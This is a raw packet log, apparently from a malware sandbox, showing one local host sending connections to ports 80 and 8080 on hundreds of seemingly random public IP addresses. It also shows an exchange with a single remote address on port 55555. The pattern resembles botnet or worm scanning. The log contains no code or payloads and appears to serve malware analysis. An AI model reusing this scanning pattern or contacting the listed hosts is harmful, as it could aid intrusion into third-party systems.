Feb 27, 2025 07:08:34.522021055 CET	28098	80	192.168.2.14	95.119.124.70
Feb 27, 2025 07:08:34.522038937 CET	28098	80	192.168.2.14	95.204.130.116
Feb 27, 2025 07:08:34.522068977 CET	28098	80	192.168.2.14	95.86.78.189
Feb 27, 2025 07:08:34.522079945 CET	28098	80	192.168.2.14	95.131.111.23
Feb 27, 2025 07:08:34.522099018 CET	28098	80	192.168.2.14	95.204.123.18
Feb 27, 2025 07:08:34.522128105 CET	28098	80	192.168.2.14	95.245.219.98
Feb 27, 2025 07:08:34.522128105 CET	28098	80	192.168.2.14	95.12.183.45
Feb 27, 2025 07:08:34.522141933 CET	28098	80	192.168.2.14	95.166.10.145
Feb 27, 2025 07:08:34.522182941 CET	28098	80	192.168.2.14	95.6.87.220
Feb 27, 2025 07:08:34.522197008 CET	28098	80	192.168.2.14	95.168.64.252
Feb 27, 2025 07:08:34.522228956 CET	28098	80	192.168.2.14	95.46.218.105
Feb 27, 2025 07:08:34.522258997 CET	28098	80	192.168.2.14	95.179.101.27
Feb 27, 2025 07:08:34.522269964 CET	28098	80	192.168.2.14	95.118.253.13
Feb 27, 2025 07:08:34.522285938 CET	28098	80	192.168.2.14	95.161.183.217
Feb 27, 2025 07:08:34.522313118 CET	28098	80	192.168.2.14	95.213.96.155
Feb 27, 2025 07:08:34.522326946 CET	28098	80	192.168.2.14	95.231.222.58
Feb 27, 2025 07:08:34.522349119 CET	28098	80	192.168.2.14	95.133.115.128
Feb 27, 2025 07:08:34.522378922 CET	28098	80	192.168.2.14	95.123.195.28
Feb 27, 2025 07:08:34.522389889 CET	28098	80	192.168.2.14	95.208.254.4
Feb 27, 2025 07:08:34.522411108 CET	28098	80	192.168.2.14	95.151.79.142
Feb 27, 2025 07:08:34.522434950 CET	28098	80	192.168.2.14	95.183.16.67
Feb 27, 2025 07:08:34.522461891 CET	28098	80	192.168.2.14	95.196.34.185
Feb 27, 2025 07:08:34.522475004 CET	28098	80	192.168.2.14	95.40.254.35
Feb 27, 2025 07:08:34.522489071 CET	28098	80	192.168.2.14	95.128.237.231
Feb 27, 2025 07:08:34.522514105 CET	28098	80	192.168.2.14	95.195.45.67
Feb 27, 2025 07:08:34.522547007 CET	28098	80	192.168.2.14	95.179.63.135
Feb 27, 2025 07:08:34.522555113 CET	28098	80	192.168.2.14	95.125.197.36
Feb 27, 2025 07:08:34.522567987 CET	28098	80	192.168.2.14	95.175.84.69
Feb 27, 2025 07:08:34.522584915 CET	28098	80	192.168.2.14	95.129.55.172
Feb 27, 2025 07:08:34.522608042 CET	28098	80	192.168.2.14	95.47.48.254
Feb 27, 2025 07:08:34.522607088 CET	28098	80	192.168.2.14	95.255.172.19
Feb 27, 2025 07:08:34.522644997 CET	28098	80	192.168.2.14	95.142.150.98
Feb 27, 2025 07:08:34.522658110 CET	28098	80	192.168.2.14	95.37.78.32
Feb 27, 2025 07:08:34.522679090 CET	28098	80	192.168.2.14	95.165.150.77
Feb 27, 2025 07:08:34.522703886 CET	28098	80	192.168.2.14	95.146.3.145
Feb 27, 2025 07:08:34.522713900 CET	28098	80	192.168.2.14	95.214.249.209
Feb 27, 2025 07:08:34.522737980 CET	28098	80	192.168.2.14	95.67.124.14
Feb 27, 2025 07:08:34.522746086 CET	28098	80	192.168.2.14	95.118.198.213
Feb 27, 2025 07:08:34.522762060 CET	28098	80	192.168.2.14	95.25.42.165
Feb 27, 2025 07:08:34.522787094 CET	28098	80	192.168.2.14	95.231.163.61
Feb 27, 2025 07:08:34.522819996 CET	28098	80	192.168.2.14	95.71.219.235
Feb 27, 2025 07:08:34.522819996 CET	28098	80	192.168.2.14	95.143.117.158
Feb 27, 2025 07:08:34.522835970 CET	28098	80	192.168.2.14	95.160.53.179
Feb 27, 2025 07:08:34.522852898 CET	28098	80	192.168.2.14	95.3.203.72
Feb 27, 2025 07:08:34.522892952 CET	28098	80	192.168.2.14	95.87.175.128
Feb 27, 2025 07:08:34.522908926 CET	28098	80	192.168.2.14	95.112.194.23
Feb 27, 2025 07:08:34.522928953 CET	28098	80	192.168.2.14	95.84.24.120
Feb 27, 2025 07:08:34.522947073 CET	28098	80	192.168.2.14	95.254.18.81
Feb 27, 2025 07:08:34.522973061 CET	28098	80	192.168.2.14	95.190.239.241
Feb 27, 2025 07:08:34.522988081 CET	28098	80	192.168.2.14	95.198.26.202
Feb 27, 2025 07:08:34.523008108 CET	28098	80	192.168.2.14	95.94.28.125
Feb 27, 2025 07:08:34.523017883 CET	28098	80	192.168.2.14	95.109.117.173
Feb 27, 2025 07:08:34.523037910 CET	28098	80	192.168.2.14	95.192.75.168
Feb 27, 2025 07:08:34.523056984 CET	28098	80	192.168.2.14	95.164.65.25
Feb 27, 2025 07:08:34.523073912 CET	28098	80	192.168.2.14	95.25.21.18
Feb 27, 2025 07:08:34.523102045 CET	28098	80	192.168.2.14	95.61.179.73
Feb 27, 2025 07:08:34.523111105 CET	28098	80	192.168.2.14	95.0.26.231
Feb 27, 2025 07:08:34.523144007 CET	28098	80	192.168.2.14	95.31.113.147
Feb 27, 2025 07:08:34.523150921 CET	28098	80	192.168.2.14	95.145.159.193
Feb 27, 2025 07:08:34.523165941 CET	28098	80	192.168.2.14	95.39.237.105
Feb 27, 2025 07:08:34.523200035 CET	28098	80	192.168.2.14	95.62.119.132
Feb 27, 2025 07:08:34.523225069 CET	28098	80	192.168.2.14	95.12.127.45
Feb 27, 2025 07:08:34.523241043 CET	28098	80	192.168.2.14	95.223.17.219
Feb 27, 2025 07:08:34.523255110 CET	28098	80	192.168.2.14	95.158.76.189
Feb 27, 2025 07:08:34.523267031 CET	28098	80	192.168.2.14	95.236.113.88
Feb 27, 2025 07:08:34.523288965 CET	28098	80	192.168.2.14	95.59.14.197
Feb 27, 2025 07:08:34.523329973 CET	28098	80	192.168.2.14	95.248.32.146
Feb 27, 2025 07:08:34.523334026 CET	28098	80	192.168.2.14	95.19.61.85
Feb 27, 2025 07:08:34.523350000 CET	28098	80	192.168.2.14	95.44.107.115
Feb 27, 2025 07:08:34.523380995 CET	28098	80	192.168.2.14	95.98.156.132
Feb 27, 2025 07:08:34.523387909 CET	28098	80	192.168.2.14	95.115.102.116
Feb 27, 2025 07:08:34.523416042 CET	28098	80	192.168.2.14	95.35.238.222
Feb 27, 2025 07:08:34.523437977 CET	28098	80	192.168.2.14	95.213.69.237
Feb 27, 2025 07:08:34.523447990 CET	28098	80	192.168.2.14	95.62.67.170
Feb 27, 2025 07:08:34.523458958 CET	28098	80	192.168.2.14	95.212.10.33
Feb 27, 2025 07:08:34.523472071 CET	28098	80	192.168.2.14	95.166.90.188
Feb 27, 2025 07:08:34.523509979 CET	28098	80	192.168.2.14	95.191.119.223
Feb 27, 2025 07:08:34.523520947 CET	28098	80	192.168.2.14	95.204.166.66
Feb 27, 2025 07:08:34.523535013 CET	28098	80	192.168.2.14	95.26.121.247
Feb 27, 2025 07:08:34.523555994 CET	28098	80	192.168.2.14	95.47.3.161
Feb 27, 2025 07:08:34.523597002 CET	28098	80	192.168.2.14	95.148.245.160
Feb 27, 2025 07:08:34.523597956 CET	28098	80	192.168.2.14	95.69.160.111
Feb 27, 2025 07:08:34.523628950 CET	28098	80	192.168.2.14	95.58.138.36
Feb 27, 2025 07:08:34.523634911 CET	28098	80	192.168.2.14	95.181.20.135
Feb 27, 2025 07:08:34.523662090 CET	28098	80	192.168.2.14	95.134.84.228
Feb 27, 2025 07:08:34.523684978 CET	28098	80	192.168.2.14	95.185.137.238
Feb 27, 2025 07:08:34.523695946 CET	28098	80	192.168.2.14	95.251.248.206
Feb 27, 2025 07:08:34.523724079 CET	28098	80	192.168.2.14	95.44.131.83
Feb 27, 2025 07:08:34.523762941 CET	28098	80	192.168.2.14	95.7.202.199
Feb 27, 2025 07:08:34.523777962 CET	28098	80	192.168.2.14	95.21.168.177
Feb 27, 2025 07:08:34.523798943 CET	28098	80	192.168.2.14	95.134.65.117
Feb 27, 2025 07:08:34.523808956 CET	28098	80	192.168.2.14	95.51.199.1
Feb 27, 2025 07:08:34.523859978 CET	28098	80	192.168.2.14	95.224.35.241
Feb 27, 2025 07:08:34.523865938 CET	28098	80	192.168.2.14	95.101.210.229
Feb 27, 2025 07:08:34.523893118 CET	28098	80	192.168.2.14	95.121.232.31
Feb 27, 2025 07:08:34.523941040 CET	28098	80	192.168.2.14	95.60.191.1
Feb 27, 2025 07:08:34.523941040 CET	28098	80	192.168.2.14	95.4.74.59
Feb 27, 2025 07:08:34.523960114 CET	28098	80	192.168.2.14	95.155.94.162
Feb 27, 2025 07:08:34.523988008 CET	28098	80	192.168.2.14	95.68.58.189
Feb 27, 2025 07:08:34.524019957 CET	28098	80	192.168.2.14	95.44.235.106
Feb 27, 2025 07:08:34.524036884 CET	28098	80	192.168.2.14	95.200.34.127
Feb 27, 2025 07:08:34.524061918 CET	28098	80	192.168.2.14	95.96.234.116
Feb 27, 2025 07:08:34.524075985 CET	28098	80	192.168.2.14	95.94.49.200
Feb 27, 2025 07:08:34.524077892 CET	28098	80	192.168.2.14	95.118.166.168
Feb 27, 2025 07:08:34.524097919 CET	28098	80	192.168.2.14	95.182.151.98
Feb 27, 2025 07:08:34.524113894 CET	28098	80	192.168.2.14	95.96.143.135
Feb 27, 2025 07:08:34.524139881 CET	28098	80	192.168.2.14	95.216.196.122
Feb 27, 2025 07:08:34.524152040 CET	28098	80	192.168.2.14	95.123.122.230
Feb 27, 2025 07:08:34.524173975 CET	28098	80	192.168.2.14	95.236.103.200
Feb 27, 2025 07:08:34.524183035 CET	28098	80	192.168.2.14	95.164.60.239
Feb 27, 2025 07:08:34.524205923 CET	28098	80	192.168.2.14	95.129.21.221
Feb 27, 2025 07:08:34.524220943 CET	28098	80	192.168.2.14	95.185.137.146
Feb 27, 2025 07:08:34.524245024 CET	28098	80	192.168.2.14	95.90.33.37
Feb 27, 2025 07:08:34.524260998 CET	28098	80	192.168.2.14	95.192.25.242
Feb 27, 2025 07:08:34.524270058 CET	28098	80	192.168.2.14	95.113.177.240
Feb 27, 2025 07:08:34.524315119 CET	28098	80	192.168.2.14	95.14.221.118
Feb 27, 2025 07:08:34.524332047 CET	28098	80	192.168.2.14	95.177.182.42
Feb 27, 2025 07:08:34.524384022 CET	28098	80	192.168.2.14	95.112.67.205
Feb 27, 2025 07:08:34.524419069 CET	28098	80	192.168.2.14	95.147.84.200
Feb 27, 2025 07:08:34.524444103 CET	28098	80	192.168.2.14	95.129.89.192
Feb 27, 2025 07:08:34.524457932 CET	28098	80	192.168.2.14	95.53.16.138
Feb 27, 2025 07:08:34.524471045 CET	28098	80	192.168.2.14	95.244.14.243
Feb 27, 2025 07:08:34.524488926 CET	28098	80	192.168.2.14	95.99.143.192
Feb 27, 2025 07:08:34.524523020 CET	28098	80	192.168.2.14	95.204.203.48
Feb 27, 2025 07:08:34.524538994 CET	28098	80	192.168.2.14	95.212.205.175
Feb 27, 2025 07:08:34.524559975 CET	28098	80	192.168.2.14	95.166.82.89
Feb 27, 2025 07:08:34.524574995 CET	28098	80	192.168.2.14	95.31.85.170
Feb 27, 2025 07:08:34.524585009 CET	28098	80	192.168.2.14	95.70.220.250
Feb 27, 2025 07:08:34.524629116 CET	28098	80	192.168.2.14	95.186.113.83
Feb 27, 2025 07:08:34.524641991 CET	28098	80	192.168.2.14	95.166.182.222
Feb 27, 2025 07:08:34.524652004 CET	28098	80	192.168.2.14	95.94.103.187
Feb 27, 2025 07:08:34.524663925 CET	28098	80	192.168.2.14	95.203.58.43
Feb 27, 2025 07:08:34.524707079 CET	28098	80	192.168.2.14	95.147.49.36
Feb 27, 2025 07:08:34.524727106 CET	28098	80	192.168.2.14	95.154.215.55
Feb 27, 2025 07:08:34.524744987 CET	28098	80	192.168.2.14	95.207.159.61
Feb 27, 2025 07:08:34.524760962 CET	28098	80	192.168.2.14	95.131.118.35
Feb 27, 2025 07:08:34.524776936 CET	28098	80	192.168.2.14	95.253.87.152
Feb 27, 2025 07:08:34.524818897 CET	28098	80	192.168.2.14	95.138.176.103
Feb 27, 2025 07:08:34.524832964 CET	28098	80	192.168.2.14	95.165.235.160
Feb 27, 2025 07:08:34.524840117 CET	28098	80	192.168.2.14	95.97.150.237
Feb 27, 2025 07:08:34.524871111 CET	28098	80	192.168.2.14	95.139.59.35
Feb 27, 2025 07:08:34.524895906 CET	28098	80	192.168.2.14	95.145.223.38
Feb 27, 2025 07:08:34.524930000 CET	28098	80	192.168.2.14	95.168.59.146
Feb 27, 2025 07:08:34.524939060 CET	28098	80	192.168.2.14	95.141.233.68
Feb 27, 2025 07:08:34.524971008 CET	28098	80	192.168.2.14	95.136.176.221
Feb 27, 2025 07:08:34.525089979 CET	55555	39290	139.59.126.134	192.168.2.14
Feb 27, 2025 07:08:34.525135040 CET	39290	55555	192.168.2.14	139.59.126.134
Feb 27, 2025 07:08:34.525145054 CET	28098	80	192.168.2.14	95.180.163.88
Feb 27, 2025 07:08:34.525156975 CET	28098	80	192.168.2.14	95.157.177.180
Feb 27, 2025 07:08:34.526673079 CET	25538	8080	192.168.2.14	95.167.18.102
Feb 27, 2025 07:08:34.526710033 CET	25538	8080	192.168.2.14	62.206.172.103
Feb 27, 2025 07:08:34.526715994 CET	25538	8080	192.168.2.14	31.236.62.169
Feb 27, 2025 07:08:34.526732922 CET	80	28098	95.215.18.102	192.168.2.14
Feb 27, 2025 07:08:34.526737928 CET	25538	8080	192.168.2.14	94.231.122.101
Feb 27, 2025 07:08:34.526741028 CET	25538	8080	192.168.2.14	95.161.206.51
Feb 27, 2025 07:08:34.526746988 CET	25538	8080	192.168.2.14	94.120.136.233
Feb 27, 2025 07:08:34.526757956 CET	25538	8080	192.168.2.14	62.141.41.169
Feb 27, 2025 07:08:34.526761055 CET	25538	8080	192.168.2.14	31.236.90.134
Feb 27, 2025 07:08:34.526787996 CET	25538	8080	192.168.2.14	31.108.84.147
Feb 27, 2025 07:08:34.526788950 CET	28098	80	192.168.2.14	95.215.18.102
Feb 27, 2025 07:08:34.526788950 CET	25538	8080	192.168.2.14	62.67.59.86
Feb 27, 2025 07:08:34.526792049 CET	25538	8080	192.168.2.14	85.122.205.201
Feb 27, 2025 07:08:34.526798964 CET	25538	8080	192.168.2.14	31.172.172.201
Feb 27, 2025 07:08:34.526818037 CET	25538	8080	192.168.2.14	85.157.87.4
Feb 27, 2025 07:08:34.526824951 CET	25538	8080	192.168.2.14	94.27.59.54
Feb 27, 2025 07:08:34.526824951 CET	25538	8080	192.168.2.14	95.123.59.146
Feb 27, 2025 07:08:34.526863098 CET	25538	8080	192.168.2.14	62.22.40.2
Feb 27, 2025 07:08:34.526865959 CET	25538	8080	192.168.2.14	94.202.9.60
Feb 27, 2025 07:08:34.526866913 CET	25538	8080	192.168.2.14	31.155.119.136
Feb 27, 2025 07:08:34.526870966 CET	25538	8080	192.168.2.14	62.6.169.156
Feb 27, 2025 07:08:34.526885986 CET	25538	8080	192.168.2.14	62.60.108.62
Feb 27, 2025 07:08:34.526890993 CET	25538	8080	192.168.2.14	31.229.209.227
Feb 27, 2025 07:08:34.526899099 CET	25538	8080	192.168.2.14	62.165.89.33
Feb 27, 2025 07:08:34.526900053 CET	25538	8080	192.168.2.14	95.125.153.65
Feb 27, 2025 07:08:34.526900053 CET	25538	8080	192.168.2.14	85.160.134.201
Feb 27, 2025 07:08:34.526904106 CET	80	28098	95.141.78.110	192.168.2.14
Feb 27, 2025 07:08:34.526906013 CET	25538	8080	192.168.2.14	31.89.30.208
Feb 27, 2025 07:08:34.526911974 CET	25538	8080	192.168.2.14	94.238.41.58
Feb 27, 2025 07:08:34.526915073 CET	80	28098	95.131.34.169	192.168.2.14
Feb 27, 2025 07:08:34.526921034 CET	80	28098	95.73.228.68	192.168.2.14
Feb 27, 2025 07:08:34.526926041 CET	25538	8080	192.168.2.14	31.115.52.142
Feb 27, 2025 07:08:34.526942015 CET	25538	8080	192.168.2.14	95.95.132.85
Feb 27, 2025 07:08:34.526942015 CET	25538	8080	192.168.2.14	94.222.184.148
Feb 27, 2025 07:08:34.526942968 CET	25538	8080	192.168.2.14	31.43.27.165
Feb 27, 2025 07:08:34.526958942 CET	28098	80	192.168.2.14	95.131.34.169
Feb 27, 2025 07:08:34.526973009 CET	28098	80	192.168.2.14	95.73.228.68
Feb 27, 2025 07:08:34.526973963 CET	28098	80	192.168.2.14	95.141.78.110
Feb 27, 2025 07:08:34.526984930 CET	25538	8080	192.168.2.14	85.193.106.203
Feb 27, 2025 07:08:34.527003050 CET	25538	8080	192.168.2.14	31.21.40.209
Feb 27, 2025 07:08:34.527009964 CET	25538	8080	192.168.2.14	31.218.152.147
Feb 27, 2025 07:08:34.527009964 CET	25538	8080	192.168.2.14	31.159.173.181
Feb 27, 2025 07:08:34.527014017 CET	25538	8080	192.168.2.14	95.11.4.54
Feb 27, 2025 07:08:34.527015924 CET	25538	8080	192.168.2.14	85.168.31.91
Feb 27, 2025 07:08:34.527026892 CET	25538	8080	192.168.2.14	62.123.85.140
Feb 27, 2025 07:08:34.527030945 CET	25538	8080	192.168.2.14	31.89.14.73
Feb 27, 2025 07:08:34.527034044 CET	25538	8080	192.168.2.14	95.253.143.18
Feb 27, 2025 07:08:34.527034044 CET	25538	8080	192.168.2.14	62.193.83.134
Feb 27, 2025 07:08:34.527045965 CET	25538	8080	192.168.2.14	85.126.248.116
Feb 27, 2025 07:08:34.527045965 CET	25538	8080	192.168.2.14	95.106.107.95
Feb 27, 2025 07:08:34.527060032 CET	25538	8080	192.168.2.14	85.130.62.204
Feb 27, 2025 07:08:34.527082920 CET	25538	8080	192.168.2.14	85.40.37.157
Feb 27, 2025 07:08:34.527090073 CET	25538	8080	192.168.2.14	62.28.153.172
Feb 27, 2025 07:08:34.527090073 CET	25538	8080	192.168.2.14	31.47.245.71
Feb 27, 2025 07:08:34.527096033 CET	25538	8080	192.168.2.14	95.114.134.92
Feb 27, 2025 07:08:34.527108908 CET	25538	8080	192.168.2.14	85.103.7.96
Feb 27, 2025 07:08:34.527110100 CET	25538	8080	192.168.2.14	94.73.24.66
Feb 27, 2025 07:08:34.527121067 CET	25538	8080	192.168.2.14	94.116.159.159
Feb 27, 2025 07:08:34.527132988 CET	25538	8080	192.168.2.14	95.128.76.45
Feb 27, 2025 07:08:34.527132988 CET	25538	8080	192.168.2.14	62.58.164.37
Feb 27, 2025 07:08:34.527134895 CET	25538	8080	192.168.2.14	62.73.112.58
Feb 27, 2025 07:08:34.527137041 CET	25538	8080	192.168.2.14	94.238.118.245
Feb 27, 2025 07:08:34.527164936 CET	25538	8080	192.168.2.14	62.45.231.40
Feb 27, 2025 07:08:34.527173996 CET	25538	8080	192.168.2.14	95.99.17.136
Feb 27, 2025 07:08:34.527182102 CET	25538	8080	192.168.2.14	31.145.45.34
Feb 27, 2025 07:08:34.527184963 CET	25538	8080	192.168.2.14	94.150.121.81
Feb 27, 2025 07:08:34.527192116 CET	25538	8080	192.168.2.14	62.167.138.178
Feb 27, 2025 07:08:34.527206898 CET	25538	8080	192.168.2.14	62.48.159.162
Feb 27, 2025 07:08:34.527209044 CET	25538	8080	192.168.2.14	94.111.187.132
Feb 27, 2025 07:08:34.527219057 CET	25538	8080	192.168.2.14	85.169.71.217
Feb 27, 2025 07:08:34.527223110 CET	25538	8080	192.168.2.14	94.209.211.190
Feb 27, 2025 07:08:34.527225018 CET	25538	8080	192.168.2.14	31.115.101.137
Feb 27, 2025 07:08:34.527245045 CET	25538	8080	192.168.2.14	62.23.38.57
Feb 27, 2025 07:08:34.527249098 CET	25538	8080	192.168.2.14	94.22.245.74
Feb 27, 2025 07:08:34.527256012 CET	25538	8080	192.168.2.14	85.75.247.77
Feb 27, 2025 07:08:34.527265072 CET	25538	8080	192.168.2.14	95.224.208.211
Feb 27, 2025 07:08:34.527265072 CET	25538	8080	192.168.2.14	31.197.193.44
Feb 27, 2025 07:08:34.527266979 CET	25538	8080	192.168.2.14	62.207.220.254
Feb 27, 2025 07:08:34.527287006 CET	25538	8080	192.168.2.14	94.63.30.150
Feb 27, 2025 07:08:34.527291059 CET	25538	8080	192.168.2.14	85.145.205.197
Feb 27, 2025 07:08:34.527297020 CET	25538	8080	192.168.2.14	31.16.14.29
Feb 27, 2025 07:08:34.527308941 CET	25538	8080	192.168.2.14	94.129.246.132
Feb 27, 2025 07:08:34.527318001 CET	25538	8080	192.168.2.14	85.232.197.96
Feb 27, 2025 07:08:34.527331114 CET	25538	8080	192.168.2.14	31.138.99.25
Feb 27, 2025 07:08:34.527340889 CET	25538	8080	192.168.2.14	85.49.187.15
Feb 27, 2025 07:08:34.527362108 CET	25538	8080	192.168.2.14	95.193.76.140
Feb 27, 2025 07:08:34.527364016 CET	25538	8080	192.168.2.14	85.205.91.28
Feb 27, 2025 07:08:34.527367115 CET	25538	8080	192.168.2.14	94.112.82.53
Feb 27, 2025 07:08:34.527367115 CET	25538	8080	192.168.2.14	31.115.110.108
Feb 27, 2025 07:08:34.527367115 CET	25538	8080	192.168.2.14	95.43.53.117
Feb 27, 2025 07:08:34.527374029 CET	25538	8080	192.168.2.14	62.69.109.206
Feb 27, 2025 07:08:34.527388096 CET	25538	8080	192.168.2.14	95.0.90.134
Feb 27, 2025 07:08:34.527388096 CET	25538	8080	192.168.2.14	95.142.154.209
Feb 27, 2025 07:08:34.527404070 CET	25538	8080	192.168.2.14	85.188.193.220
Feb 27, 2025 07:08:34.527405977 CET	25538	8080	192.168.2.14	95.244.172.114
Feb 27, 2025 07:08:34.527422905 CET	25538	8080	192.168.2.14	62.250.64.34
Feb 27, 2025 07:08:34.527430058 CET	25538	8080	192.168.2.14	85.254.140.16
Feb 27, 2025 07:08:34.527442932 CET	25538	8080	192.168.2.14	85.224.247.104
Feb 27, 2025 07:08:34.527446032 CET	25538	8080	192.168.2.14	31.251.182.175
Feb 27, 2025 07:08:34.527456045 CET	25538	8080	192.168.2.14	94.173.120.24
Feb 27, 2025 07:08:34.527466059 CET	25538	8080	192.168.2.14	85.22.149.186
Feb 27, 2025 07:08:34.527471066 CET	25538	8080	192.168.2.14	62.115.55.184
Feb 27, 2025 07:08:34.527471066 CET	25538	8080	192.168.2.14	95.149.67.42
Feb 27, 2025 07:08:34.527473927 CET	25538	8080	192.168.2.14	31.218.77.28
Feb 27, 2025 07:08:34.527482033 CET	25538	8080	192.168.2.14	62.36.106.223
Feb 27, 2025 07:08:34.527487040 CET	25538	8080	192.168.2.14	62.132.211.191
Feb 27, 2025 07:08:34.527513981 CET	25538	8080	192.168.2.14	85.167.133.151
Feb 27, 2025 07:08:34.527513981 CET	25538	8080	192.168.2.14	85.56.208.25
Feb 27, 2025 07:08:34.527525902 CET	25538	8080	192.168.2.14	94.160.167.46
Feb 27, 2025 07:08:34.527533054 CET	25538	8080	192.168.2.14	85.50.187.88
Feb 27, 2025 07:08:34.527534008 CET	25538	8080	192.168.2.14	94.143.145.160
Feb 27, 2025 07:08:34.527539015 CET	25538	8080	192.168.2.14	95.70.51.140
Feb 27, 2025 07:08:34.527544975 CET	25538	8080	192.168.2.14	31.29.71.198
Feb 27, 2025 07:08:34.527578115 CET	25538	8080	192.168.2.14	31.245.162.220
Feb 27, 2025 07:08:34.527578115 CET	25538	8080	192.168.2.14	62.48.237.58
Feb 27, 2025 07:08:34.527578115 CET	25538	8080	192.168.2.14	62.221.182.172
Feb 27, 2025 07:08:34.527578115 CET	25538	8080	192.168.2.14	31.1.201.199
Feb 27, 2025 07:08:34.527590036 CET	25538	8080	192.168.2.14	62.210.42.102
Feb 27, 2025 07:08:34.527590990 CET	25538	8080	192.168.2.14	31.224.163.220
Feb 27, 2025 07:08:34.527592897 CET	25538	8080	192.168.2.14	85.92.12.58
Feb 27, 2025 07:08:34.527595043 CET	25538	8080	192.168.2.14	31.166.115.179
Feb 27, 2025 07:08:34.527595043 CET	25538	8080	192.168.2.14	31.79.110.242
Feb 27, 2025 07:08:34.527596951 CET	25538	8080	192.168.2.14	94.238.67.13
Feb 27, 2025 07:08:34.527597904 CET	25538	8080	192.168.2.14	62.15.40.166
Feb 27, 2025 07:08:34.527595043 CET	25538	8080	192.168.2.14	85.147.126.93
Feb 27, 2025 07:08:34.527595043 CET	25538	8080	192.168.2.14	94.137.4.135
Feb 27, 2025 07:08:34.527595043 CET	25538	8080	192.168.2.14	85.135.12.152
Feb 27, 2025 07:08:34.527602911 CET	25538	8080	192.168.2.14	94.23.125.153
Feb 27, 2025 07:08:34.527596951 CET	25538	8080	192.168.2.14	62.178.212.174
Feb 27, 2025 07:08:34.527611971 CET	25538	8080	192.168.2.14	31.176.213.92
Feb 27, 2025 07:08:34.527612925 CET	25538	8080	192.168.2.14	31.194.113.166
Feb 27, 2025 07:08:34.527625084 CET	25538	8080	192.168.2.14	62.146.217.182
Feb 27, 2025 07:08:34.527625084 CET	25538	8080	192.168.2.14	94.183.238.187
Feb 27, 2025 07:08:34.527626991 CET	25538	8080	192.168.2.14	62.70.114.166
Feb 27, 2025 07:08:34.527637959 CET	25538	8080	192.168.2.14	85.195.17.121
Feb 27, 2025 07:08:34.527650118 CET	25538	8080	192.168.2.14	31.28.239.130
Feb 27, 2025 07:08:34.527653933 CET	25538	8080	192.168.2.14	62.151.208.185
Feb 27, 2025 07:08:34.527658939 CET	25538	8080	192.168.2.14	85.177.212.121
Feb 27, 2025 07:08:34.527658939 CET	25538	8080	192.168.2.14	62.44.33.39
Feb 27, 2025 07:08:34.527658939 CET	25538	8080	192.168.2.14	31.200.137.59
Feb 27, 2025 07:08:34.527664900 CET	25538	8080	192.168.2.14	31.125.139.63
Feb 27, 2025 07:08:34.527664900 CET	25538	8080	192.168.2.14	95.13.160.129
Feb 27, 2025 07:08:34.527683020 CET	25538	8080	192.168.2.14	62.26.26.249
Feb 27, 2025 07:08:34.527693987 CET	25538	8080	192.168.2.14	95.87.122.236
Feb 27, 2025 07:08:34.527694941 CET	25538	8080	192.168.2.14	62.61.104.61
Feb 27, 2025 07:08:34.527698994 CET	25538	8080	192.168.2.14	85.193.34.220
Feb 27, 2025 07:08:34.527709961 CET	25538	8080	192.168.2.14	85.117.172.73
Feb 27, 2025 07:08:34.527709961 CET	25538	8080	192.168.2.14	95.238.124.142
Feb 27, 2025 07:08:34.527730942 CET	25538	8080	192.168.2.14	85.0.143.104
Feb 27, 2025 07:08:34.527730942 CET	25538	8080	192.168.2.14	94.187.29.125
Feb 27, 2025 07:08:34.527735949 CET	25538	8080	192.168.2.14	31.175.79.24
Feb 27, 2025 07:08:34.527731895 CET	25538	8080	192.168.2.14	62.115.120.150
Feb 27, 2025 07:08:34.527743101 CET	25538	8080	192.168.2.14	85.145.224.207
Feb 27, 2025 07:08:34.527760983 CET	25538	8080	192.168.2.14	95.173.74.48
Feb 27, 2025 07:08:34.527765989 CET	25538	8080	192.168.2.14	94.136.164.46
Feb 27, 2025 07:08:34.527769089 CET	25538	8080	192.168.2.14	95.8.134.16
Feb 27, 2025 07:08:34.527791977 CET	25538	8080	192.168.2.14	95.246.58.146
Feb 27, 2025 07:08:34.527791977 CET	25538	8080	192.168.2.14	94.67.45.81
Feb 27, 2025 07:08:34.527798891 CET	25538	8080	192.168.2.14	62.236.0.55
Feb 27, 2025 07:08:34.527800083 CET	25538	8080	192.168.2.14	94.80.133.89
Feb 27, 2025 07:08:34.527800083 CET	25538	8080	192.168.2.14	85.138.181.105
Feb 27, 2025 07:08:34.527813911 CET	25538	8080	192.168.2.14	95.246.127.172
Feb 27, 2025 07:08:34.527815104 CET	25538	8080	192.168.2.14	95.51.71.249
Feb 27, 2025 07:08:34.527821064 CET	25538	8080	192.168.2.14	94.219.217.127
Feb 27, 2025 07:08:34.527839899 CET	25538	8080	192.168.2.14	62.172.198.220
Feb 27, 2025 07:08:34.527838945 CET	25538	8080	192.168.2.14	62.95.26.185
Feb 27, 2025 07:08:34.527838945 CET	25538	8080	192.168.2.14	62.121.6.117
Feb 27, 2025 07:08:34.527848005 CET	25538	8080	192.168.2.14	94.163.178.20
Feb 27, 2025 07:08:34.527853966 CET	25538	8080	192.168.2.14	85.23.194.180
Feb 27, 2025 07:08:34.527883053 CET	25538	8080	192.168.2.14	95.107.56.148
Feb 27, 2025 07:08:34.527898073 CET	25538	8080	192.168.2.14	85.138.250.138
Feb 27, 2025 07:08:34.527901888 CET	25538	8080	192.168.2.14	62.25.151.2
Feb 27, 2025 07:08:34.527909040 CET	25538	8080	192.168.2.14	95.217.16.97
Feb 27, 2025 07:08:34.527921915 CET	25538	8080	192.168.2.14	94.74.54.206
Feb 27, 2025 07:08:34.527935028 CET	25538	8080	192.168.2.14	95.220.124.18
Feb 27, 2025 07:08:34.527940989 CET	25538	8080	192.168.2.14	94.204.222.243
Feb 27, 2025 07:08:34.527959108 CET	25538	8080	192.168.2.14	85.71.68.112
Feb 27, 2025 07:08:34.527961969 CET	25538	8080	192.168.2.14	85.238.196.84
Feb 27, 2025 07:08:34.527962923 CET	25538	8080	192.168.2.14	85.228.83.56
Feb 27, 2025 07:08:34.527966022 CET	25538	8080	192.168.2.14	85.64.104.39
Feb 27, 2025 07:08:34.527970076 CET	25538	8080	192.168.2.14	31.88.186.245
Feb 27, 2025 07:08:34.527990103 CET	25538	8080	192.168.2.14	62.37.94.112
Feb 27, 2025 07:08:34.527991056 CET	25538	8080	192.168.2.14	62.126.83.37
Feb 27, 2025 07:08:34.527991056 CET	25538	8080	192.168.2.14	95.117.97.142
Feb 27, 2025 07:08:34.528001070 CET	25538	8080	192.168.2.14	31.117.209.247
Feb 27, 2025 07:08:34.528014898 CET	25538	8080	192.168.2.14	94.36.171.10
Feb 27, 2025 07:08:34.528023005 CET	25538	8080	192.168.2.14	31.5.224.68
